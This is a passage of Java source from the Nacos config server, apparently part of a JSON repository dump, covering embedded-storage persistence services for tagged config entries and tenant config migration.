EmbeddedConfigInfoTagPersistServiceImpl.\n *\n * @author lixiaoshuang\n */\n@SuppressWarnings(\"checkstyle:linelength\")\n@Conditional(value = ConditionOnEmbeddedStorage.class)\n@Service(\"embeddedConfigInfoTagPersistServiceImpl\")\npublic class EmbeddedConfigInfoTagPersistServiceImpl implements ConfigInfoTagPersistService {\n    \n    private DataSourceService dataSourceService;\n    \n    private final DatabaseOperate databaseOperate;\n    \n    private MapperManager mapperManager;\n    \n    /**\n     * The constructor sets the dependency injection order.\n     *\n     * @param databaseOperate databaseOperate.\n     */\n    public EmbeddedConfigInfoTagPersistServiceImpl(DatabaseOperate databaseOperate) {\n        this.databaseOperate = databaseOperate;\n        this.dataSourceService = DynamicDataSource.getInstance().getDataSource();\n        Boolean isDataSourceLogEnable = EnvUtil.getProperty(CommonConstant.NACOS_PLUGIN_DATASOURCE_LOG, Boolean.class,\n                false);\n        this.mapperManager = MapperManager.instance(isDataSourceLogEnable);\n        NotifyCenter.registerToSharePublisher(DerbyImportEvent.class);\n    }\n    \n    @Override\n    public <E> PaginationHelper<E> createPaginationHelper() {\n        return new EmbeddedPaginationHelperImpl<>(databaseOperate);\n    }\n    \n    @Override\n    public ConfigInfoStateWrapper findConfigInfo4TagState(final String dataId, final String group, final String tenant,\n            String tag) {\n        ConfigInfoTagMapper configInfoTagMapper = mapperManager.findMapper(dataSourceService.getDataSourceType(),\n                TableConstant.CONFIG_INFO_TAG);\n        String tenantTmp = StringUtils.isBlank(tenant) ? StringUtils.EMPTY : tenant;\n        String tagTmp = StringUtils.isBlank(tag) ? StringUtils.EMPTY : tag.trim();\n        \n        String sql = configInfoTagMapper.select(Arrays.asList(\"id\", \"data_id\", \"group_id\", \"tenant_id\", \"gmt_modified\"),\n                Arrays.asList(\"data_id\", \"group_id\", \"tenant_id\", \"tag_id\"));\n        return databaseOperate.queryOne(sql, new Object[] {dataId, group, tenantTmp, tagTmp},\n                CONFIG_INFO_STATE_WRAPPER_ROW_MAPPER);\n    }\n    \n    private ConfigOperateResult getTagOperateResult(String dataId, String group, String tenant, String tag) {\n        String tenantTmp = StringUtils.defaultEmptyIfBlank(tenant);\n        ConfigInfoStateWrapper configInfo4Tag = this.findConfigInfo4TagState(dataId, group, tenantTmp, tag);\n        if (configInfo4Tag == null) {\n            return new ConfigOperateResult(false);\n        }\n        return new ConfigOperateResult(configInfo4Tag.getId(), configInfo4Tag.getLastModified());\n        \n    }\n    \n    @Override\n    public ConfigOperateResult addConfigInfo4Tag(ConfigInfo configInfo, String tag, String srcIp, String srcUser) {\n        String appNameTmp = StringUtils.defaultEmptyIfBlank(configInfo.getAppName());\n        String tenantTmp = StringUtils.defaultEmptyIfBlank(configInfo.getTenant());\n        String tagTmp = StringUtils.isBlank(tag) ? StringUtils.EMPTY : tag.trim();\n        \n        configInfo.setTenant(tenantTmp);\n        \n        try {\n            String md5 = MD5Utils.md5Hex(configInfo.getContent(), Constants.ENCODE);\n            ConfigInfoTagMapper configInfoTagMapper = mapperManager.findMapper(dataSourceService.getDataSourceType(),\n                    TableConstant.CONFIG_INFO_TAG);\n            final String sql = configInfoTagMapper.insert(\n                    Arrays.asList(\"data_id\", \"group_id\", \"tenant_id\", \"tag_id\", \"app_name\", \"content\", \"md5\", \"src_ip\",\n                            \"src_user\", \"gmt_create\", \"gmt_modified\"));\n            Timestamp time = new Timestamp(System.currentTimeMillis());\n            \n            final Object[] args = new Object[] {configInfo.getDataId(), configInfo.getGroup(), tenantTmp, tagTmp,\n                    appNameTmp, configInfo.getContent(), md5, srcIp, srcUser, time, time};\n            \n            EmbeddedStorageContextUtils.onModifyConfigTagInfo(configInfo, tagTmp, srcIp, time);\n            EmbeddedStorageContextHolder.addSqlContext(sql, args);\n            \n            databaseOperate.blockUpdate();\n            return getTagOperateResult(configInfo.getDataId(), configInfo.getGroup(), tenantTmp, tagTmp);\n            \n        } finally {\n            EmbeddedStorageContextHolder.cleanAllContext();\n        }\n    }\n    \n    @Override\n    public ConfigOperateResult insertOrUpdateTag(final ConfigInfo configInfo, final String tag, final String srcIp,\n            final String srcUser) {\n        if (findConfigInfo4TagState(configInfo.getDataId(), configInfo.getGroup(), configInfo.getTenant(), tag) == null) {\n            return addConfigInfo4Tag(configInfo, tag, srcIp, srcUser);\n        } else {\n            return updateConfigInfo4Tag(configInfo, tag, srcIp, srcUser);\n        }\n    }\n    \n    @Override\n    public ConfigOperateResult insertOrUpdateTagCas(final ConfigInfo configInfo, final String tag, final String srcIp,\n            final String srcUser) {\n        if (findConfigInfo4TagState(configInfo.getDataId(), configInfo.getGroup(), configInfo.getTenant(), tag) == null) {\n            return addConfigInfo4Tag(configInfo, tag, srcIp, srcUser);\n        } else {\n            return updateConfigInfo4TagCas(configInfo, tag, srcIp, srcUser);\n        }\n    }\n    \n    @Override\n    public void removeConfigInfoTag(final String dataId, final String group, final String tenant, final String tag,\n            final String srcIp, final String srcUser) {\n        String tenantTmp = StringUtils.isBlank(tenant) ? StringUtils.EMPTY : tenant;\n        String tagTmp = StringUtils.isBlank(tag) ? StringUtils.EMPTY : tag;\n        \n        ConfigInfoTagMapper configInfoTagMapper = mapperManager.findMapper(dataSourceService.getDataSourceType(),\n                TableConstant.CONFIG_INFO_TAG);\n        final String sql = configInfoTagMapper.delete(Arrays.asList(\"data_id\", \"group_id\", \"tenant_id\", \"tag_id\"));\n        final Object[] args = new Object[] {dataId, group, tenantTmp, tagTmp};\n        \n        EmbeddedStorageContextUtils.onDeleteConfigTagInfo(tenantTmp, group, dataId, tagTmp, srcIp);\n        EmbeddedStorageContextHolder.addSqlContext(sql, args);\n        try {\n            databaseOperate.update(EmbeddedStorageContextHolder.getCurrentSqlContext());\n        } finally {\n            EmbeddedStorageContextHolder.cleanAllContext();\n        }\n    }\n    \n    @Override\n    public ConfigOperateResult updateConfigInfo4Tag(ConfigInfo configInfo, String tag, String srcIp, String srcUser) {\n        String appNameTmp = StringUtils.defaultEmptyIfBlank(configInfo.getAppName());\n        String tenantTmp = StringUtils.defaultEmptyIfBlank(configInfo.getTenant());\n        String tagTmp = StringUtils.isBlank(tag) ? StringUtils.EMPTY : tag.trim();\n        \n        configInfo.setTenant(tenantTmp);\n        \n        try {\n            String md5 = MD5Utils.md5Hex(configInfo.getContent(), Constants.ENCODE);\n            \n            ConfigInfoTagMapper configInfoTagMapper = mapperManager.findMapper(dataSourceService.getDataSourceType(),\n                    TableConstant.CONFIG_INFO_TAG);\n            Timestamp time = new Timestamp(System.currentTimeMillis());\n            \n            final String sql = configInfoTagMapper.update(\n                    Arrays.asList(\"content\", \"md5\", \"src_ip\", \"src_user\", \"gmt_modified\", \"app_name\"),\n                    Arrays.asList(\"data_id\", \"group_id\", \"tenant_id\", \"tag_id\"));\n            final Object[] args = new Object[] {configInfo.getContent(), md5, srcIp, srcUser, time, appNameTmp,\n                    configInfo.getDataId(), configInfo.getGroup(), tenantTmp, tagTmp};\n            \n            EmbeddedStorageContextUtils.onModifyConfigTagInfo(configInfo, tagTmp, srcIp, time);\n            EmbeddedStorageContextHolder.addSqlContext(sql, args);\n            \n            databaseOperate.blockUpdate();\n            return getTagOperateResult(configInfo.getDataId(), configInfo.getGroup(), tenantTmp, tagTmp);\n            \n        } finally {\n            EmbeddedStorageContextHolder.cleanAllContext();\n        }\n    }\n    \n    @Override\n    public ConfigOperateResult updateConfigInfo4TagCas(ConfigInfo configInfo, String tag, String srcIp,\n            String srcUser) {\n        String appNameTmp = StringUtils.defaultEmptyIfBlank(configInfo.getAppName());\n        String tenantTmp = StringUtils.defaultEmptyIfBlank(configInfo.getTenant());\n        String tagTmp = StringUtils.isBlank(tag) ? StringUtils.EMPTY : tag.trim();\n        \n        configInfo.setTenant(tenantTmp);\n        \n        try {\n            String md5 = MD5Utils.md5Hex(configInfo.getContent(), Constants.ENCODE);\n            ConfigInfoTagMapper configInfoTagMapper = mapperManager.findMapper(dataSourceService.getDataSourceType(),\n                    TableConstant.CONFIG_INFO_TAG);\n            Timestamp time = new Timestamp(System.currentTimeMillis());\n            \n            MapperContext context = new MapperContext();\n            context.putUpdateParameter(FieldConstant.CONTENT, configInfo.getContent());\n            context.putUpdateParameter(FieldConstant.MD5, md5);\n            context.putUpdateParameter(FieldConstant.SRC_IP, srcIp);\n            context.putUpdateParameter(FieldConstant.SRC_USER, srcUser);\n            context.putUpdateParameter(FieldConstant.GMT_MODIFIED, time);\n            context.putUpdateParameter(FieldConstant.APP_NAME, appNameTmp);\n            \n            context.putWhereParameter(FieldConstant.DATA_ID, configInfo.getDataId());\n            context.putWhereParameter(FieldConstant.GROUP_ID, configInfo.getGroup());\n            context.putWhereParameter(FieldConstant.TENANT_ID, tenantTmp);\n            context.putWhereParameter(FieldConstant.TAG_ID, tagTmp);\n            context.putWhereParameter(FieldConstant.MD5, configInfo.getMd5());\n            \n            final MapperResult mapperResult = configInfoTagMapper.updateConfigInfo4TagCas(context);\n            \n            EmbeddedStorageContextUtils.onModifyConfigTagInfo(configInfo, tagTmp, srcIp, time);\n            EmbeddedStorageContextHolder.addSqlContext(mapperResult.getSql(), mapperResult.getParamList().toArray());\n            \n            Boolean success = databaseOperate.blockUpdate();\n            if (success) {\n                return getTagOperateResult(configInfo.getDataId(), configInfo.getGroup(), tenantTmp, tagTmp);\n            } else {\n                return new ConfigOperateResult(false);\n            }\n            \n        } finally {\n            EmbeddedStorageContextHolder.cleanAllContext();\n        }\n    }\n    \n    @Override\n    public ConfigInfoTagWrapper findConfigInfo4Tag(final String dataId, final String group, final String tenant,\n            final String tag) {\n        String tenantTmp = StringUtils.isBlank(tenant) ? StringUtils.EMPTY : tenant;\n        String tagTmp = StringUtils.isBlank(tag) ? StringUtils.EMPTY : tag.trim();\n        ConfigInfoTagMapper configInfoTagMapper = mapperManager.findMapper(dataSourceService.getDataSourceType(),\n                TableConstant.CONFIG_INFO_TAG);\n        final String sql = configInfoTagMapper.select(\n                Arrays.asList(\"id\", \"data_id\", \"group_id\", \"tenant_id\", \"tag_id\", \"app_name\", \"content\",\n                        \"gmt_modified\"), Arrays.asList(\"data_id\", \"group_id\", \"tenant_id\", \"tag_id\"));\n        \n        return databaseOperate.queryOne(sql, new Object[] {dataId, group, tenantTmp, tagTmp},\n                CONFIG_INFO_TAG_WRAPPER_ROW_MAPPER);\n    }\n    \n    @Override\n    public int configInfoTagCount() {\n        ConfigInfoTagMapper configInfoTagMapper = mapperManager.findMapper(dataSourceService.getDataSourceType(),\n                TableConstant.CONFIG_INFO_TAG);\n        String sql = configInfoTagMapper.count(null);\n        Integer result = databaseOperate.queryOne(sql, Integer.class);\n        if (result == null) {\n            throw new IllegalArgumentException(\"configInfoBetaCount error\");\n        }\n        return result;\n    }\n    \n    @Override\n    public Page<ConfigInfoTagWrapper> findAllConfigInfoTagForDumpAll(final int pageNo, final int pageSize) {\n        final int startRow = (pageNo - 1) * pageSize;\n        ConfigInfoTagMapper configInfoTagMapper = mapperManager.findMapper(dataSourceService.getDataSourceType(),\n                TableConstant.CONFIG_INFO_TAG);\n        String sqlCountRows = configInfoTagMapper.count(null);\n        MapperResult sqlFetchRows = configInfoTagMapper.findAllConfigInfoTagForDumpAllFetchRows(\n                new MapperContext(startRow, pageSize));\n        \n        PaginationHelper<ConfigInfoTagWrapper> helper = createPaginationHelper();\n        return helper.fetchPageLimit(sqlCountRows, sqlFetchRows.getSql(), sqlFetchRows.getParamList().toArray(), pageNo,\n                pageSize, CONFIG_INFO_TAG_WRAPPER_ROW_MAPPER);\n        \n    }\n    \n    @Override\n    public List<String> findConfigInfoTags(String dataId, String group, String tenant) {\n        String tenantTmp = StringUtils.isBlank(tenant) ? StringUtils.EMPTY : tenant;\n        ConfigInfoTagMapper configInfoTagMapper = mapperManager.findMapper(dataSourceService.getDataSourceType(),\n                TableConstant.CONFIG_INFO_TAG);\n        final String sql = configInfoTagMapper.select(Collections.singletonList(\"tag_id\"),\n                Arrays.asList(\"data_id\", \"group_id\", \"tenant_id\"));\n        \n        return databaseOperate.queryMany(sql, new Object[] {dataId, group, tenantTmp}, String.class);\n    }\n}\n"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/service/repository/embedded/EmbeddedConfigMigratePersistServiceImpl.java",
    "content": "/*\n * Copyright 1999-2024 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.service.repository.embedded;\n\nimport com.alibaba.nacos.common.notify.NotifyCenter;\nimport com.alibaba.nacos.common.utils.MD5Utils;\nimport com.alibaba.nacos.common.utils.StringUtils;\nimport com.alibaba.nacos.config.server.constant.Constants;\nimport com.alibaba.nacos.config.server.model.ConfigInfo;\nimport com.alibaba.nacos.config.server.model.ConfigInfoGrayWrapper;\nimport com.alibaba.nacos.config.server.model.ConfigInfoWrapper;\nimport com.alibaba.nacos.config.server.service.repository.ConfigInfoGrayPersistService;\nimport com.alibaba.nacos.config.server.service.repository.ConfigInfoPersistService;\nimport com.alibaba.nacos.config.server.service.repository.ConfigMigratePersistService;\nimport com.alibaba.nacos.config.server.service.sql.EmbeddedStorageContextUtils;\nimport com.alibaba.nacos.core.distributed.id.IdGeneratorManager;\nimport com.alibaba.nacos.persistence.configuration.condition.ConditionOnEmbeddedStorage;\nimport com.alibaba.nacos.persistence.datasource.DataSourceService;\nimport com.alibaba.nacos.persistence.datasource.DynamicDataSource;\nimport com.alibaba.nacos.persistence.model.event.DerbyImportEvent;\nimport com.alibaba.nacos.persistence.repository.PaginationHelper;\nimport com.alibaba.nacos.persistence.repository.embedded.EmbeddedPaginationHelperImpl;\nimport com.alibaba.nacos.persistence.repository.embedded.EmbeddedStorageContextHolder;\nimport com.alibaba.nacos.persistence.repository.embedded.operate.DatabaseOperate;\nimport com.alibaba.nacos.plugin.datasource.MapperManager;\nimport com.alibaba.nacos.plugin.datasource.constants.CommonConstant;\nimport com.alibaba.nacos.plugin.datasource.constants.FieldConstant;\nimport com.alibaba.nacos.plugin.datasource.constants.TableConstant;\nimport com.alibaba.nacos.plugin.datasource.mapper.ConfigInfoGrayMapper;\nimport com.alibaba.nacos.plugin.datasource.mapper.ConfigInfoMapper;\nimport com.alibaba.nacos.plugin.datasource.mapper.ConfigMigrateMapper;\nimport com.alibaba.nacos.plugin.datasource.model.MapperContext;\nimport com.alibaba.nacos.plugin.datasource.model.MapperResult;\nimport com.alibaba.nacos.sys.env.EnvUtil;\nimport org.springframework.beans.factory.annotation.Qualifier;\nimport org.springframework.context.annotation.Conditional;\nimport org.springframework.stereotype.Service;\n\nimport java.sql.Timestamp;\nimport java.util.Arrays;\nimport java.util.List;\nimport java.util.Map;\n\nimport static com.alibaba.nacos.config.server.service.repository.ConfigRowMapperInjector.CONFIG_INFO_GRAY_WRAPPER_ROW_MAPPER;\nimport static com.alibaba.nacos.config.server.service.repository.ConfigRowMapperInjector.CONFIG_INFO_ROW_MAPPER;\n\n/**\n * The type Embedded config migrate persist service.\n *\n * @author Sunrisea\n */\n@Conditional(value = ConditionOnEmbeddedStorage.class)\n@Service(\"embeddedConfigMigratePersistServiceImpl\")\npublic class EmbeddedConfigMigratePersistServiceImpl implements ConfigMigratePersistService {\n    \n    private static final String RESOURCE_CONFIG_INFO_ID = \"config-info-id\";\n    \n    private static final String RESOURCE_CONFIG_HISTORY_GRAY_ID = \"config-history-gray-id\";\n    \n    private final DatabaseOperate databaseOperate;\n    \n    private final IdGeneratorManager idGeneratorManager;\n    \n    private DataSourceService dataSourceService;\n    \n    private MapperManager mapperManager;\n    \n    private ConfigInfoPersistService configInfoPersistService;\n    \n    private ConfigInfoGrayPersistService configInfoGrayPersistService;\n    \n    /**\n     * Instantiates a new Embedded config migrate persist service.\n     *\n     * @param databaseOperate              the database operate\n     * @param idGeneratorManager           the id generator manager\n     * @param configInfoPersistService     the config info persist service\n     * @param configInfoGrayPersistService the config info gray persist service\n     */\n    public EmbeddedConfigMigratePersistServiceImpl(DatabaseOperate databaseOperate,\n            IdGeneratorManager idGeneratorManager,\n            @Qualifier(\"embeddedConfigInfoPersistServiceImpl\") ConfigInfoPersistService configInfoPersistService,\n            @Qualifier(\"embeddedConfigInfoGrayPersistServiceImpl\") ConfigInfoGrayPersistService configInfoGrayPersistService) {\n        this.databaseOperate = databaseOperate;\n        this.idGeneratorManager = idGeneratorManager;\n        this.dataSourceService = DynamicDataSource.getInstance().getDataSource();\n        idGeneratorManager.register(RESOURCE_CONFIG_INFO_ID, RESOURCE_CONFIG_HISTORY_GRAY_ID);\n        Boolean isDataSourceLogEnable = EnvUtil.getProperty(CommonConstant.NACOS_PLUGIN_DATASOURCE_LOG, Boolean.class,\n                false);\n        this.mapperManager = MapperManager.instance(isDataSourceLogEnable);\n        NotifyCenter.registerToSharePublisher(DerbyImportEvent.class);\n        this.configInfoPersistService = configInfoPersistService;\n        this.configInfoGrayPersistService = configInfoGrayPersistService;\n    }\n    \n    @Override\n    public <E> PaginationHelper<E> createPaginationHelper() {\n        return new EmbeddedPaginationHelperImpl<>(databaseOperate);\n    }\n    \n    @Override\n    public Integer configInfoConflictCount(String srcUser) {\n        ConfigMigrateMapper configInfoMigrateMapper = mapperManager.findMapper(dataSourceService.getDataSourceType(),\n                TableConstant.MIGRATE_CONFIG);\n        MapperContext context = new MapperContext();\n        context.putWhereParameter(FieldConstant.SRC_USER, srcUser);\n        MapperResult mapperResult = configInfoMigrateMapper.getConfigConflictCount(context);\n        Integer result = databaseOperate.queryOne(mapperResult.getSql(), mapperResult.getParamList().toArray(),\n                Integer.class);\n        if (result == null) {\n            throw new IllegalArgumentException(\"configInfoConflictCount error\");\n        }\n        return result;\n    }\n    \n    @Override\n    public Integer configInfoGrayConflictCount(String srcUser) {\n        ConfigMigrateMapper configInfoMigrateMapper = mapperManager.findMapper(dataSourceService.getDataSourceType(),\n                TableConstant.MIGRATE_CONFIG);\n        MapperContext context = new MapperContext();\n        context.putWhereParameter(FieldConstant.SRC_USER, srcUser);\n        MapperResult mapperResult = configInfoMigrateMapper.getConfigGrayConflictCount(context);\n        Integer result = databaseOperate.queryOne(mapperResult.getSql(), mapperResult.getParamList().toArray(),\n                Integer.class);\n        if (result == null) {\n            throw new IllegalArgumentException(\"configInfoGrayConflictCount error\");\n        }\n        return result;\n    }\n    \n    @Override\n    public List<Long> getMigrateConfigInsertIdList(long startId, int pageSize) {\n        ConfigMigrateMapper configInfoMigrateMapper = mapperManager.findMapper(dataSourceService.getDataSourceType(),\n                TableConstant.MIGRATE_CONFIG);\n        MapperContext context = new MapperContext();\n        context.putWhereParameter(FieldConstant.ID, startId);\n        context.setPageSize(pageSize);\n        MapperResult mapperResult = configInfoMigrateMapper.findConfigIdNeedInsertMigrate(context);\n        return databaseOperate.queryMany(mapperResult.getSql(), mapperResult.getParamList().toArray(), Long.class);\n    }\n    \n    @Override\n    public List<Long> getMigrateConfigGrayInsertIdList(long startId, int pageSize) {\n        ConfigMigrateMapper configInfoMigrateMapper = mapperManager.findMapper(dataSourceService.getDataSourceType(),\n                TableConstant.MIGRATE_CONFIG);\n        MapperContext context = new MapperContext();\n        context.putWhereParameter(FieldConstant.ID, startId);\n        context.setPageSize(pageSize);\n        MapperResult mapperResult = configInfoMigrateMapper.findConfigGrayIdNeedInsertMigrate(context);\n        return databaseOperate.queryMany(mapperResult.getSql(), mapperResult.getParamList().toArray(), Long.class);\n    }\n    \n    @Override\n    public List<ConfigInfo> getMigrateConfigUpdateList(long startId, int pageSize, String srcTenant, String targetTenant, String srcUser) {\n        ConfigMigrateMapper configMigrateMapper = mapperManager.findMapper(dataSourceService.getDataSourceType(),\n                TableConstant.MIGRATE_CONFIG);\n        MapperContext context = new MapperContext();\n        context.putWhereParameter(FieldConstant.SRC_USER, srcUser);\n        context.putWhereParameter(FieldConstant.ID, startId);\n        context.putWhereParameter(FieldConstant.SRC_TENANT, srcTenant);\n        context.putWhereParameter(FieldConstant.TARGET_TENANT, targetTenant);\n        context.setPageSize(pageSize);\n        MapperResult mapperResult = configMigrateMapper.findConfigNeedUpdateMigrate(context);\n        return databaseOperate.queryMany(mapperResult.getSql(), mapperResult.getParamList().toArray(), CONFIG_INFO_ROW_MAPPER);\n    }\n    \n    @Override\n    public List<ConfigInfoGrayWrapper> getMigrateConfigGrayUpdateList(long startId, int pageSize, String srcTenant,\n            String targetTenant, String srcUser) {\n        ConfigMigrateMapper configMigrateMapper = mapperManager.findMapper(dataSourceService.getDataSourceType(),\n                TableConstant.MIGRATE_CONFIG);\n        MapperContext context = new MapperContext();\n        context.putWhereParameter(FieldConstant.SRC_USER, srcUser);\n        context.putWhereParameter(FieldConstant.ID, startId);\n        context.putWhereParameter(FieldConstant.SRC_TENANT, srcTenant);\n        context.putWhereParameter(FieldConstant.TARGET_TENANT, targetTenant);\n        context.setPageSize(pageSize);\n        MapperResult mapperResult = configMigrateMapper.findConfigGrayNeedUpdateMigrate(context);\n        return databaseOperate.queryMany(mapperResult.getSql(), mapperResult.getParamList().toArray(),\n                CONFIG_INFO_GRAY_WRAPPER_ROW_MAPPER);\n    }\n    \n    @Override\n    public void migrateConfigInsertByIds(List<Long> ids, String srcUser) {\n        ConfigMigrateMapper configInfoMigrateMapper = mapperManager.findMapper(dataSourceService.getDataSourceType(),\n                TableConstant.MIGRATE_CONFIG);\n        for (Long targetId : ids) {\n            long configId = idGeneratorManager.nextId(RESOURCE_CONFIG_INFO_ID);\n            MapperContext context = new MapperContext();\n            context.putWhereParameter(FieldConstant.TARGET_ID, targetId);\n            context.putWhereParameter(FieldConstant.SRC_USER, srcUser);\n            context.putWhereParameter(FieldConstant.ID, configId);\n            MapperResult result = configInfoMigrateMapper.migrateConfigInsertByIds(context);\n            EmbeddedStorageContextHolder.addSqlContext(result.getSql(), result.getParamList().toArray());\n        }\n        databaseOperate.blockUpdate();\n    }\n    \n    @Override\n    public void migrateConfigGrayInsertByIds(List<Long> ids, String srcUser) {\n        ConfigMigrateMapper configInfoMigrateMapper = mapperManager.findMapper(dataSourceService.getDataSourceType(),\n                TableConstant.MIGRATE_CONFIG);\n        for (Long targetId : ids) {\n            long configId = idGeneratorManager.nextId(RESOURCE_CONFIG_HISTORY_GRAY_ID);\n            MapperContext context = new MapperContext();\n            context.putWhereParameter(FieldConstant.TARGET_ID, targetId);\n            context.putWhereParameter(FieldConstant.ID, configId);\n            context.putWhereParameter(FieldConstant.SRC_USER, srcUser);\n            MapperResult result = configInfoMigrateMapper.migrateConfigGrayInsertByIds(context);\n            EmbeddedStorageContextHolder.addSqlContext(result.getSql(), result.getParamList().toArray());\n        }\n        databaseOperate.blockUpdate();\n    }\n    \n    @Override\n    public void syncConfig(String dataId, String group, String tenant, String targetTenant, String srcUser) {\n        ConfigInfoWrapper sourceConfigInfoWrapper = configInfoPersistService.findConfigInfo(dataId, group, tenant);\n        ConfigInfoWrapper targetConfigInfoWrapper = configInfoPersistService.findConfigInfo(dataId, group,\n                targetTenant);\n        if (sourceConfigInfoWrapper == null) {\n            configInfoPersistService.removeConfigInfo(dataId, group, targetTenant, null, srcUser);\n        } else {\n            if (targetConfigInfoWrapper == null) {\n                sourceConfigInfoWrapper.setTenant(targetTenant);\n                long configId = idGeneratorManager.nextId(RESOURCE_CONFIG_INFO_ID);\n                configInfoPersistService.addConfigInfoAtomic(configId, null, srcUser,\n                        sourceConfigInfoWrapper, null);\n            } else if (sourceConfigInfoWrapper.getLastModified() >= targetConfigInfoWrapper.getLastModified()) {\n                sourceConfigInfoWrapper.setTenant(targetTenant);\n                updateConfigInfoAtomic(sourceConfigInfoWrapper, null, srcUser, null,\n                        targetConfigInfoWrapper.getLastModified(), targetConfigInfoWrapper.getMd5());\n            }\n        }\n    }\n    \n    /**\n     * Update config info atomic.\n     *\n     * @param configInfo        the config info\n     * @param srcIp             the src ip\n     * @param srcUser           the src user\n     * @param configAdvanceInfo the config advance info\n     * @param lastModified      the last modified\n     */\n    public void updateConfigInfoAtomic(final ConfigInfo configInfo, final String srcIp, final String srcUser,\n            Map<String, Object> configAdvanceInfo, long lastModified, final String targetMd5) {\n        final String appNameTmp = StringUtils.defaultEmptyIfBlank(configInfo.getAppName());\n        final String tenantTmp = StringUtils.defaultEmptyIfBlank(configInfo.getTenant());\n        final String md5Tmp = MD5Utils.md5Hex(configInfo.getContent(), Constants.ENCODE);\n        final String desc = configAdvanceInfo == null ? null : (String) configAdvanceInfo.get(\"desc\");\n        final String use = configAdvanceInfo == null ? null : (String) configAdvanceInfo.get(\"use\");\n        final String effect = configAdvanceInfo == null ? null : (String) configAdvanceInfo.get(\"effect\");\n        final String type = configAdvanceInfo == null ? null : (String) configAdvanceInfo.get(\"type\");\n        final String schema = configAdvanceInfo == null ? null : (String) configAdvanceInfo.get(\"schema\");\n        final String encryptedDataKey =\n                configInfo.getEncryptedDataKey() == null ? StringUtils.EMPTY : configInfo.getEncryptedDataKey();\n        \n        ConfigInfoMapper configInfoMapper = mapperManager.findMapper(dataSourceService.getDataSourceType(),\n                TableConstant.CONFIG_INFO);\n        final String sql = configInfoMapper.update(\n                Arrays.asList(\"content\", \"md5\", \"src_ip\", \"src_user\", \"gmt_modified@NOW()\", \"app_name\", \"c_desc\",\n                        \"c_use\", \"effect\", \"type\", \"c_schema\", \"encrypted_data_key\"),\n                Arrays.asList(\"data_id\", \"group_id\", \"tenant_id\", \"gmt_modified\", \"md5\"));\n        \n        final Object[] args = new Object[] {configInfo.getContent(), md5Tmp, srcIp, srcUser, appNameTmp, desc, use,\n                effect, type, schema, encryptedDataKey, configInfo.getDataId(), configInfo.getGroup(), tenantTmp,\n                new Timestamp(lastModified), targetMd5};\n        \n        EmbeddedStorageContextHolder.addSqlContext(sql, args);\n    }\n    \n    @Override\n    public void syncConfigGray(String dataId, String group, String tenant, String grayName, String targetTenant,\n            String srcUser) {\n        ConfigInfoGrayWrapper sourceConfigInfoGrayWrapper = configInfoGrayPersistService.findConfigInfo4Gray(dataId, group,\n                tenant, grayName);\n        ConfigInfoGrayWrapper targetConfigInfoGrayWrapper = configInfoGrayPersistService.findConfigInfo4Gray(dataId, group,\n                targetTenant, grayName);\n        if (sourceConfigInfoGrayWrapper == null) {\n            removeConfigInfoGrayWithoutHistory(dataId, group, targetTenant, grayName, null, srcUser);\n        } else {\n            if (targetConfigInfoGrayWrapper == null) {\n                sourceConfigInfoGrayWrapper.setTenant(targetTenant);\n                long configGrayId = idGeneratorManager.nextId(RESOURCE_CONFIG_HISTORY_GRAY_ID);\n                configInfoGrayPersistService.addConfigInfoGrayAtomic(configGrayId, sourceConfigInfoGrayWrapper,\n                        grayName, sourceConfigInfoGrayWrapper.getGrayRule(), null, srcUser);\n            } else if (sourceConfigInfoGrayWrapper.getLastModified() >= targetConfigInfoGrayWrapper.getLastModified()) {\n                sourceConfigInfoGrayWrapper.setTenant(targetTenant);\n                updateConfigInfo4GrayWithoutHistory(sourceConfigInfoGrayWrapper,\n                        sourceConfigInfoGrayWrapper.getGrayName(), sourceConfigInfoGrayWrapper.getGrayRule(),\n                        null, srcUser, targetConfigInfoGrayWrapper.getLastModified(), targetConfigInfoGrayWrapper.getMd5());\n            }\n        }\n    }\n    \n    /**\n     * Remove config info gray without history.\n     *\n     * @param dataId   the data id\n     * @param group    the group\n     * @param tenant   the tenant\n     * @param grayName the gray name\n     * @param srcIp    the src ip\n     * @param srcUser  the src user\n     */\n    public void removeConfigInfoGrayWithoutHistory(final String dataId, final String group, final String tenant,\n            final String grayName, final String srcIp, final String srcUser) {\n        String tenantTmp = StringUtils.isBlank(tenant) ? StringUtils.EMPTY : tenant;\n        String grayNameTmp = StringUtils.isBlank(grayName) ? StringUtils.EMPTY : grayName;\n        \n        ConfigInfoGrayMapper configInfoGrayMapper = mapperManager.findMapper(dataSourceService.getDataSourceType(),\n                TableConstant.CONFIG_INFO_GRAY);\n        final String sql = configInfoGrayMapper.delete(Arrays.asList(\"data_id\", \"group_id\", \"tenant_id\", \"gray_name\"));\n        final Object[] args = new Object[] {dataId, group, tenantTmp, grayNameTmp};\n        \n        EmbeddedStorageContextUtils.onDeleteConfigGrayInfo(tenantTmp, group, dataId, grayNameTmp, srcIp);\n        EmbeddedStorageContextHolder.addSqlContext(sql, args);\n        try {\n            databaseOperate.update(EmbeddedStorageContextHolder.getCurrentSqlContext());\n        } finally {\n            EmbeddedStorageContextHolder.cleanAllContext();\n        }\n    }\n    \n    /**\n     * Update config info 4 gray without history.\n     *\n     * @param configInfo the config info\n     * @param grayName   the gray name\n     * @param grayRule   the gray rule\n     * @param srcIp      the src ip\n     * @param srcUser    the src user\n     */\n    public void updateConfigInfo4GrayWithoutHistory(ConfigInfo configInfo, String grayName, String grayRule,\n            String srcIp, String srcUser, long lastModified, final String targetMd5) {\n        String appNameTmp = StringUtils.defaultEmptyIfBlank(configInfo.getAppName());\n        String tenantTmp = StringUtils.defaultEmptyIfBlank(configInfo.getTenant());\n        String grayNameTmp = StringUtils.isBlank(grayName) ? StringUtils.EMPTY : grayName.trim();\n        String grayRuleTmp = StringUtils.isBlank(grayRule) ? StringUtils.EMPTY : grayRule.trim();\n        configInfo.setTenant(tenantTmp);\n        \n        try {\n            String md5 = MD5Utils.md5Hex(configInfo.getContent(), Constants.ENCODE);\n            ConfigInfoGrayMapper configInfoGrayMapper = mapperManager.findMapper(dataSourceService.getDataSourceType(),\n                    